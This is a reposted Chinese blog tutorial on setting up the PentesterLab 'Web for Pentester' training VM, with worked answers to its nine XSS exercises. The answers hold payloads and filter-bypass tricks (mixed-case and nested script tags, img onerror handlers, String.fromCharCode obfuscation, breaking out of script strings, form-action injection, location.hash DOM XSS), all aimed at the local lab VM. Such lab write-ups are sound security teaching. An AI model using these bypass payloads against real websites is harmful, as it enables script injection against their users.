码迷,mamicode.com
首页 > Web开发 > 详细

【web安全】第三弹:web攻防平台pentester安装及XSS部分答案解析

时间:2014-09-30 20:10:30      阅读:477      评论:0      收藏:0      [点我收藏+]

标签:style   http   io   os   ar   strong   for   sp   c   

web for pentester是国外安全研究者开发的的一款渗透测试平台,通过该平台你可以了解到常见的Web漏洞检测技术。

bubuko.com,布布扣

下载链接及文档说明:

http://pentesterlab.com/exercises/web_for_pentester/

 

【安装流程】

1. 虚拟机中挂载镜像。 下载好ios镜像之后,在虚拟机中创建新系统。

bubuko.com,布布扣

一路向下,创建虚拟系统。

点击启动,选择iso镜像,即可启动。

bubuko.com,布布扣

2. 设置网络。 关掉刚刚开启的系统。

点击设置,选择网络选项。如图所示设置网络

bubuko.com,布布扣

bubuko.com,布布扣

3.启动系统。输入ifconfig

bubuko.com,布布扣

可以看到我们虚拟机的IP地址为http://192.168.56.101/  不同的系统可能不一样

如果想让主机访问虚拟机,必须让主机和虚拟机在同一网段的范围内。

所以在主机上打开网络和共享中心,设置IP

bubuko.com,布布扣

根据我的虚拟机IP,我给本机设置的IP如下:

bubuko.com,布布扣

4.在主机浏览器输入虚拟机IP,我这儿是http://192.168.56.101/  ,即可通过HTTP访问虚拟机了!!

【XSS部分解析】

xss example1:

完全没有过滤或者编码,各种姿势的玩~

name=<script>alert(‘bb‘)</script>

xss example2:

 bubuko.com,布布扣

从这里可以看到,过滤掉了<script>标签,我们试试大小写?

name=<Script>alert(‘bb‘)</sCript>

嗯,大小写绕过了

xss example3:

和上一张图一样,<script>标签被过滤掉了

先试试 name=la<script>la,输出hello,lala

name=<scri<script>pt>alert(‘bb‘)</scri</script>pt>

经测试这个在实例2也是可以用的

xss example4:

先输入最基本的测试name=<script>alert(‘bb‘)</script>

竟然输出error了!

换个标签? name=<img>?这次没error。补全补全~

name=<img src="1" onerror="alert(‘bb‘)">

成功了~~经测试这个payload在前三个应该也是可以的

xss example5:

先输入name=<img>正常显示

补全name=<img src="1" onerror="alert(‘bb‘)"> 输出error

发现alert被过滤掉了- -但是其他的函数还可以用,

比如说name=<img src="1" onerror="confirm(‘aa‘)">

查了一下文档,发现可以这样写

name=<img src="1" onerror="eval(String.fromCharCode(97,108,101,114,116,40,39,97,39,41))">

这个世界真神奇

xss example6:

查看元素,发现输出竟然在script标签中。

$a="<img  src="1" onerror="alert(‘bb‘)">"

输出在script标签中的情况要首先闭合双引号"

name=fdf";alert($a);//

xss example7:

审查元素:

<script>
var $a= ‘fdf&quot;;alert($a);//‘;
</script>

发现双引号被HTMLEncode了

- -还发现$a=‘‘这个地方变成了单引号。。。稍微改一下

name=fdf‘;alert($a);//

成了

xss example8:

呦,终于长进了,变成存储型的了~

随便输出个名字<script>alert(‘a‘)</script>

审查元素

HELLO &lt;script&gt;alert(‘a‘)&lt;/script&gt;

<>被HTMLEncode了。

对于输出在HTML中的内容,这样的过滤已经是足够了。那么漏洞在哪儿呢?

经过答案的提醒- -我们发现form表的目标URL是可以被构造的

http://192.168.56.101/xss/example8.php/%22%20onsubmit=%22alert(‘1‘)

在提交的时候,会触发弹窗

xss example9:

- -最后一个你是在逗我么

审查元素

<script>
document.write(location.hash.substring(1));
</script>

随便改改就好了。。http://192.168.56.101/xss/example9.php#<script>alert(‘1‘)</script>

注:官方答案地址:http://files.pentesterlab.com/web_for_pentester/web_for_pentester.pdf

【web安全】第三弹:web攻防平台pentester安装及XSS部分答案解析

标签:style   http   io   os   ar   strong   for   sp   c   

原文地址:http://www.cnblogs.com/kuoaidebb/p/4002348.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!